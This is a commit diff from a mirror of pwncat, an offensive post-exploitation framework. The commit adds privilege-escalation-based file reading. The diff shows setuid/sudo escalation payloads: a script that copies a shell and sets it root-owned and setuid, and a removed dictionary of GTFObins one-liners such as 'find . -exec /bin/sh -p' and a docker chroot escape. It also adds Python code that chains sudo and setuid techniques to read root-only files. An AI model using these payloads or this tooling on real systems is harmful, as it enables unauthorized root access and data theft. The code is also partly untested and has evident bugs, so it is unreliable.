1
0
mirror of https://github.com/calebstewart/pwncat.git synced 2024-11-24 01:25:37 +01:00

Added privesc read capability! Only somewhat tested...

This commit is contained in:
John Hammond 2020-05-09 17:05:18 -04:00
parent 068c55f868
commit 3b7bf075d5
11 changed files with 430 additions and 99 deletions

View File

@ -34,5 +34,9 @@
"script": "TF=$(mktemp); SHELL=$(mktemp); cp {shell} $SHELL; echo \"chown root:root $SHELL; chmod +sx $SHELL;\" > $TF;chmod +x $TF; {command}; sleep 1; $SHELL -p",
"need": ["--on-download-error=$TF","http://x"]
}
},
{
"name": "cat",
"read_file": "{path} {lfile}"
}
]

View File

@ -42,27 +42,6 @@ class RemoteBinaryPipe(RawIOBase):
# Cleanup
self.on_eof()
# def read(self, size: int = -1):
# if self.eof == -1:
# self.on_eof()
# if self.eof:
# return b""
# if size == -1:
# data = b""
# while self.delim not in data:
# data += self.pty.client.recv(1024 * 1024)
# data = data.split(self.delim)[0]
# self.eof = -1
# else:
# data = self.pty.client.recv(size)
# if self.delim in data:
# self.eof = -1
# data = data.split(self.delim)[0]
# return data
def readinto(self, b: bytearray):
if self.eof:
return 0

View File

@ -7,11 +7,21 @@ import shlex
import json
import os
from pwncat.privesc import Capability
class SudoNotPossible(Exception):
""" Running the given binary to get a sudo shell is not possible """
class FileReadNotPossible(Exception):
""" Running the given binary to get a sudo shell is not possible """
class FileWriteNotPossible(Exception):
""" Running the given binary to get a sudo shell is not possible """
class Binary:
_binaries: List[Dict[str, Any]] = []
@ -22,6 +32,18 @@ class Binary:
self.data = data
self.path = path
self.capabilities = 0
if self.has_read_file:
self.capabilities |= Capability.READ
if self.has_shell:
self.capabilities |= Capability.SHELL
if self.has_write_file:
self.capabilities |= Capability.WRITE
# We need to fix this later...?
if self.has_shell:
self.capabilities |= Capability.SUDO
def shell(
self,
shell_path: str,
@ -261,7 +283,7 @@ class Binary:
cls._binaries = json.load(filp)
@classmethod
def find(cls, path: str, name: str = None) -> "Binary":
def find(cls, path: str = None, name: str = None,) -> "Binary":
""" Locate the given gtfobin and return the Binary object. If name is
not given, it is assumed to be the basename of the path. """
@ -274,6 +296,30 @@ class Binary:
return None
@classmethod
def find_capability(
cls, which: Callable[[str], str], capability: int = Capability.ALL
) -> "Binary":
""" Locate the given gtfobin and return the Binary object. If name is
not given, it is assumed to be the basename of the path. """
for data in cls._binaries:
path = which(data["name"])
if path is None:
continue
binary = Binary(path, data)
if not binary.has_read and (capability & Capability.READ):
continue
if not binary.has_write and (capability & Capability.WRITE):
continue
if not binary.has_sudo and (capability & Capability.SUDO):
continue
if not binary.has_shell and (capability & Capability.SHELL):
continue
return binary
@classmethod
def find_sudo(cls, spec: str, get_binary_path: Callable[[str], str]) -> "Binary":
""" Locate a GTFObin binary for the given sudo spec. This will separate

View File

@ -1,7 +1,7 @@
#!/usr/bin/env python3
from typing import Type, List, Tuple
from pwncat.privesc.base import Method, PrivescError, Technique, SuMethod
from pwncat.privesc.base import Method, PrivescError, Technique, SuMethod, Capability
from pwncat.privesc.setuid import SetuidMethod
from pwncat.privesc.sudo import SudoMethod
@ -49,6 +49,81 @@ class Finder:
return techniques
def read_file(
self,
filename: str,
target_user: str = None,
depth: int = None,
chain: List[Technique] = [],
starting_user=None,
):
if target_user is None:
target_user = "root"
current_user = self.pty.current_user
if (
target_user == current_user["name"]
or current_user["uid"] == 0
or current_user["name"] == "root"
):
binary = gtfobins.Binary.find_capability(self.pty.which, Capability.READ)
if binary is None:
raise PrivescError("no binaries to read with")
return self.pty.subprocess(binary.read_file(filename)), chain
if starting_user is None:
starting_user = current_user
if depth is not None and len(chain) > depth:
raise PrivescError("max depth reached")
# Enumerate escalation options for this user
techniques = []
for method in self.methods:
try:
found_techniques = method.enumerate(capability=Capability.ALL)
for tech in found_techniques:
if tech.user == target_user and (
tech.capabilities & Capability.READ
):
try:
read_pipe = tech.method.read_file(filename, tech)
return (read_pipe, chain)
except PrivescError as e:
pass
techniques.extend(found_techniques)
except PrivescError:
pass
# We can't escalate directly to the target to read a file. So, try recursively
# against other users.
for tech in techniques:
if tech.user == target_user:
continue
try:
exit_command = self.escalate_single(tech)
chain.append((tech, exit_command))
except PrivescError:
continue
try:
return self.read_file(
filename, target_user, depth, chain, starting_user
)
except PrivescError:
tech, exit_command = chain[-1]
self.pty.run(exit_command, wait=False)
chain.pop()
raise PrivescError(f"no route to {target_user} found")
def escalate_single(self, technique: Technique) -> str:
self.pty.run("echo") # restabilize shell
return technique.method.execute(tech)
def escalate(
self,
target_user: str = None,
@ -80,7 +155,9 @@ class Finder:
techniques = []
for method in self.methods:
try:
found_techniques = method.enumerate()
found_techniques = method.enumerate(
capability=Capability.SHELL | Capability.SUDO
)
for tech in found_techniques:
if tech.user == target_user:
try:
@ -113,3 +190,11 @@ class Finder:
chain.pop()
raise PrivescError(f"no route to {target_user} found")
def unwrap(self, techniques: List[Tuple[Technique, str]]):
# Work backwards to get back to the original shell
for technique, exit in reversed(techniques):
self.pty.run(exit, wait=False)
# Reset the terminal to get to a sane prompt
self.pty.reset()

View File

@ -8,6 +8,16 @@ import os
from pwncat import util
from enum import Enum
class Capability:
READ = 1
WRITE = 2
SHELL = 4
SUDO = 8
ALL = READ | WRITE | SHELL | SUDO
class PrivescError(Exception):
""" An error occurred while attempting a privesc technique """
@ -22,6 +32,8 @@ class Technique:
# The unique identifier for this method (can be anything, specific to the
# method)
ident: Any
# The GTFObins capabilities required for this technique to work
capabilities: int
def __str__(self):
return self.method.get_name(self)
@ -43,7 +55,7 @@ class Method:
def __init__(self, pty: "pwncat.pty.PtyHandler"):
self.pty = pty
def enumerate(self) -> List[Technique]:
def enumerate(self, capability: int = Capability.ALL) -> List[Technique]:
""" Enumerate all possible escalations to the given users """
raise NotImplementedError("no enumerate method implemented")
@ -64,7 +76,7 @@ class SuMethod(Method):
name = "su"
BINARIES = ["su"]
def enumerate(self) -> List[Technique]:
def enumerate(self, capability=Capability.ALL) -> List[Technique]:
result = []
current_user = self.pty.whoami()

View File

@ -6,76 +6,12 @@ from time import sleep
import os
from colorama import Fore, Style
from pwncat.util import info, success, error, progress, warn
from pwncat.privesc.base import Method, PrivescError, Technique
from pwncat import gtfobins
import io
# https://gtfobins.github.io/#+suid
known_setuid_privescs = {
"env": ("{} /bin/bash -p", "exit"),
"bash": ("{} -p", "exit"),
"chmod": ("{} +s /bin/bash\n/bin/bash -p", "exit"),
"chroot": ("{} / /bin/bash -p", "exit"),
"dash": ("{} -p", "exit"),
"ash": ("{}", "exit"),
"docker": ("{} run -v /:/mnt --rm -it alpine chroot /mnt sh", "exit"),
"emacs": ("""{} -Q -nw --eval '(term "/bin/sh -p")'""", "exit"),
"find": ("{} . -exec /bin/sh -p \\; -quit", "exit"),
"flock": ("{} -u / /bin/sh -p", "exit"),
"gdb": (
"""{} -nx -ex 'python import os; os.execl("/bin/bash", "bash", "-p")' -ex quit""",
"exit",
),
"logsave": ("{} /dev/null /bin/bash -i -p", "exit"),
"make": (
"COMMAND='/bin/sh -p'",
"""{} -s --eval=$'x:\\n\\t-'\"$COMMAND\"""",
"exit",
),
"nice": ("{} /bin/bash -p", "exit"),
"node": (
"""{} -e 'require("child_process").spawn("/bin/sh", ("-p"), {stdio: (0, 1, 2)});'""",
"exit",
),
"nohup": ("""{} /bin/sh -p -c \"sh -p <$(tty) >$(tty) 2>$(tty)\"""", "exit"),
"perl": ("""{} -e 'exec "/bin/sh";'""", "exit"),
"php": ("""{} -r \"pcntl_exec('/bin/sh', ('-p'));\"""", "exit"),
"python": ("""{} -c 'import os; os.execl("/bin/sh", "sh", "-p")'""", "exit"),
"rlwrap": ("{} -H /dev/null /bin/sh -p", "exit"),
"rpm": ("""{} --eval '%{lua:os.execute("/bin/sh", "-p")}'""", "exit"),
"rpmquery": ("""{} --eval '%{lua:posix.exec("/bin/sh", "-p")}'""", "exit"),
"rsync": ("""{} -e 'sh -p -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null""", "exit"),
"run-parts": ("""{} --new-session --regex '^sh$' /bin --arg='-p'""", "exit"),
"rvim": (
"""{} -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'""",
"exit",
),
"setarch": ("""{} $(arch) /bin/sh -p""", "exit"),
"start-stop-daemon": ("""{} -n $RANDOM -S -x /bin/sh -- -p""", "exit"),
"strace": ("""{} -o /dev/null /bin/sh -p""", "exit"),
"tclsh": ("""{}\nexec /bin/sh -p <@stdin >@stdout 2>@stderr; exit""", "exit"),
"tclsh8.6": ("""{}\nexec /bin/sh -p <@stdin >@stdout 2>@stderr; exit""", "exit"),
"taskset": ("""{} 1 /bin/sh -p""", "exit"),
"time": ("""{} /bin/sh -p""", "exit"),
"timeout": ("""{} 7d /bin/sh -p""", "exit"),
"unshare": ("""{} -r /bin/sh""", "exit"),
"vim": ("""{} -c ':!/bin/sh' -c ':q'""", "exit"),
"watch": ("""{} -x sh -c 'reset; exec sh 1>&0 2>&0'""", "exit"),
"zsh": ("""{}""", "exit"),
# need to add in cp trick to overwrite /etc/passwd
# need to add in curl trick to overwrite /etc/passwd
# need to add in wget trick to overwrite /etc/passwd
# need to add in dd trick to overwrite /etc/passwd
# need to add in openssl trick to overwrite /etc/passwd
# need to add in sed trick to overwrite /etc/passwd
# need to add in shuf trick to overwrite /etc/passwd
# need to add in systemctl trick to overwrite /etc/passwd
# need to add in tee trick to overwrite /etc/passwd
# need to add in wget trick to overwrite /etc/passwd
# need to add in nano trick but requires Control+R Control+X keys
# need to add in pico trick but requires Control+R Control+X keys
# b"/bin/nano": ["/bin/nano", "\x12\x18reset; sh -p 1>&0 2>&0"],
}
from pwncat.util import info, success, error, progress, warn
from pwncat.privesc.base import Method, PrivescError, Technique, Capability
from pwncat import gtfobins
from pwncat.file import RemoteBinaryPipe
class SetuidMethod(Method):
@ -114,17 +50,24 @@ class SetuidMethod(Method):
self.suid_paths[user] = []
self.suid_paths[user].append(path)
def enumerate(self) -> List[Technique]:
def enumerate(self, capability: int = Capability.ALL) -> List[Technique]:
""" Find all techniques known at this time """
if self.suid_paths is None:
self.find_suid()
known_techniques = []
for user, paths in self.suid_paths.items():
for path in paths:
binary = gtfobins.Binary.find(path)
if binary is not None:
yield Technique(user, self, binary)
if (capability & binary.capabilities) == 0:
continue
known_techniques.append(
Technique(user, self, binary, binary.capabilities)
)
return known_techniques
def execute(self, technique: Technique):
""" Run the specified technique """
@ -165,5 +108,14 @@ class SetuidMethod(Method):
raise PrivescError(f"escalation failed for {technique}")
def read_file(self, filepath: str, technique: Technique) -> RemoteBinaryPipe:
binary = technique.ident
read_payload = binary.read_file(filepath)
# read_pipe = self.pty.subprocess(read_payload)
read_pipe = io.BytesIO(self.pty.run(read_payload))
return read_pipe
def get_name(self, tech: Technique):
return f"{Fore.GREEN}{tech.user}{Fore.RESET} via {Fore.CYAN}{tech.ident.path}{Fore.RESET} ({Fore.RED}setuid{Fore.RESET})"

View File

@ -12,6 +12,7 @@ from pwncat.privesc.base import Method, PrivescError, Technique
from pwncat.pysudoers import Sudoers
from pwncat import gtfobins
from pwncat.privesc import Capability
class SudoMethod(Method):
@ -108,7 +109,7 @@ class SudoMethod(Method):
return sudoers.rules
def enumerate(self) -> List[Technique]:
def enumerate(self, capability: int = Capability.ALL) -> List[Technique]:
""" Find all techniques known at this time """
info(f"checking {Fore.YELLOW}sudo -l{Fore.RESET} output", overlay=True)
@ -194,6 +195,10 @@ class SudoMethod(Method):
# No GTFObins possible with this sudo spec
continue
# If this binary cannot sudo, don't bother with it
if not (binary.capabilities & Capability.SUDO):
continue
if sudo_privesc["run_as_user"] == "ALL":
# add a technique for root
techniques.append(
@ -201,6 +206,7 @@ class SudoMethod(Method):
"root",
self,
(binary, sudo_privesc["command"], sudo_privesc["password"]),
binary.capabilities,
)
)
else:
@ -211,6 +217,7 @@ class SudoMethod(Method):
u,
self,
(binary, sudo_privesc["command"], sudo_privesc["password"]),
binary.capabilities,
)
)

View File

@ -524,6 +524,13 @@ class PtyHandler:
default=None,
help="Maximum depth for the privesc search (default: no maximum)",
)
parser.add_argument(
"--read",
"-r",
type=str,
default=None,
help="remote filename to try and read",
)
try:
args = parser.parse_args(argv)
@ -538,6 +545,18 @@ class PtyHandler:
else:
for tech in techniques:
util.info(f"escalation to {tech}")
elif args.read:
try:
read_pipe, chain = self.privesc.read_file(
args.read, args.user, args.depth
)
sys.stdout.buffer.write(read_pipe.read(4096))
read_pipe.close()
self.privesc.unwrap(chain)
except privesc.PrivescError as exc:
util.error(f"read file failed: {exc}")
else:
try:
self.privesc.escalate(args.user, args.depth)

63
pwncat/reader/__init__.py Normal file
View File

@ -0,0 +1,63 @@
#!/usr/bin/env python3
from typing import Type, List, Tuple
from pwncat.reader.base import Method, ReaderError, Technique
from pwncat.reader.cat import CatMethod
reader_methods = [CatMethod]
class Reader:
""" Locate a privesc chain which ends with the given user. If `depth` is
supplied, stop searching at `depth` techniques. If `depth` is not supplied
or is negative, search until all techniques are exhausted or a chain is
found. If `user` is not provided, depth is forced to `1`, and all methods
to privesc to that user are returned. """
def __init__(self, pty: "pwncat.pty.PtyHandler"):
""" Create a new privesc finder """
self.pty = pty
self.methods: List[Method] = []
for m in reader_methods:
try:
m.check(self.pty)
self.methods.append(m(self.pty))
except ReaderError:
pass
def search(self, filename: str) -> List[Technique]:
""" Search for reader techniques."""
techniques = []
for method in self.methods:
try:
techniques.extend(method.enumerate(filename))
except ReaderError:
pass
return techniques
def read(self, filename: str,) -> str:
""" Read a file using any known techniques """
# Enumerate escalation options for this user
techniques = []
for method in self.methods:
try:
found_techniques = method.enumerate(filename)
for tech in found_techniques:
try:
filecontents = tech.method.execute(tech)
return filecontents
except ReaderError:
return None
techniques.extend(found_techniques)
except ReaderError:
pass
raise ReaderError(f"failed to read {filename}")

59
pwncat/reader/base.py Normal file
View File

@ -0,0 +1,59 @@
#!/usr/bin/env python3
from typing import Generator, Callable, List, Any
from dataclasses import dataclass
from colorama import Fore
import threading
import socket
import os
from pwncat import util
class ReaderError(Exception):
""" An error occurred while attempting a privesc technique """
@dataclass
class Technique:
# The user that this technique will move to
filename: str
# The method that will be used
method: "Method"
# The unique identifier for this method (can be anything, specific to the
# method)
ident: Any
def __str__(self):
return self.method.get_name(self)
class Method:
# Binaries which are needed on the remote host for this file read functionality
name = "unknown"
BINARIES = []
@classmethod
def check(cls, pty: "pwncat.pty.PtyHandler") -> bool:
""" Check if the given PTY connection can support this privesc """
for binary in cls.BINARIES:
if pty.which(binary) is None:
raise ReaderError(f"required remote binary not found: {binary}")
def __init__(self, pty: "pwncat.pty.PtyHandler"):
self.pty = pty
def enumerate(self) -> List[Technique]:
""" Enumerate all possible escalations to the given users """
raise NotImplementedError("no enumerate method implemented")
def execute(self, technique: Technique):
""" Execute the given technique to move laterally to the given user.
Raise a PrivescError if there was a problem. """
raise NotImplementedError("no execute method implemented")
def get_name(self, tech: Technique):
return f"{Fore.GREEN}{tech.filename}{Fore.RESET} via {Fore.RED}{self}{Fore.RED}"
def __str__(self):
return self.name

105
pwncat/reader/cat.py Normal file
View File

@ -0,0 +1,105 @@
#!/usr/bin/env python3
from typing import Generator, List
import shlex
import sys
from time import sleep
import os
from colorama import Fore, Style
from pwncat.util import info, success, error, progress, warn
from pwncat.reader.base import Method, ReaderError, Technique
from pwncat import gtfobins
class CatMethod(Method):
name = "cat"
BINARIES = ["cat"]
def __init__(self, pty: "pwncat.pty.PtyHandler"):
super(CatMethod, self).__init__(pty)
# self.suid_paths = None
# def find_suid(self):
# # Spawn a find command to locate the setuid binaries
# delim = self.pty.process("find / -perm -4000 -print 2>/dev/null")
# files = []
# self.suid_paths = {}
# while True:
# path = self.pty.recvuntil(b"\n").strip()
# progress("searching for setuid binaries")
# if delim in path:
# break
# files.append(path.decode("utf-8"))
# for path in files:
# user = (
# self.pty.run(f"stat -c '%U' {shlex.quote(path)}")
# .strip()
# .decode("utf-8")
# )
# if user not in self.suid_paths:
# self.suid_paths[user] = []
# self.suid_paths[user].append(path)
def enumerate(self, filename: str) -> List[Technique]:
""" Find all techniques known at this time """
# if self.suid_paths is None:
# self.find_suid()
binary = self.BINARIES[0]
yield Technique(filename, self, binary)
# for user, paths in self.suid_paths.items():
# for path in paths:
# binary = gtfobins.Binary.find(path)
# if binary is not None:
def execute(self, technique: Technique):
""" Run the specified technique """
filename = technique.filename
binary = technique.ident
# enter, exit = binary.shell("/bin/bash")
info(
f"attempting read {Fore.YELLOW}{Style.BRIGHT}{filename}{Style.RESET_ALL} with {Fore.GREEN}{Style.BRIGHT}{binary}{Style.RESET_ALL}",
)
# before_shell_level = self.pty.run("echo $SHLVL").strip()
# before_shell_level = int(before_shell_level) if before_shell_level != b"" else 0
# Run the start commands
delim = self.pty.process(f"{binary} {filename}", delim=True)
content = self.pty.recvuntil(delim).split(delim)[0]
# print(content)
return content
# sleep(0.1)
# user = self.pty.run("whoami").strip().decode("utf-8")
# if user == technique.user:
# success("privesc succeeded")
# return exit
# else:
# error(f"privesc failed (still {user} looking for {technique.user})")
# after_shell_level = self.pty.run("echo $SHLVL").strip()
# after_shell_level = (
# int(after_shell_level) if after_shell_level != b"" else 0
# )
# if after_shell_level > before_shell_level:
# info("exiting spawned inner shell")
# self.pty.run(exit, wait=False) # here be dragons
# raise PrivescError(f"escalation failed for {technique}")
def get_name(self, tech: Technique):
return f"{Fore.GREEN}{tech.filename}{Fore.RESET} via {Fore.CYAN}{tech.ident}{Fore.RESET} ({Fore.RED}cat{Fore.RESET})"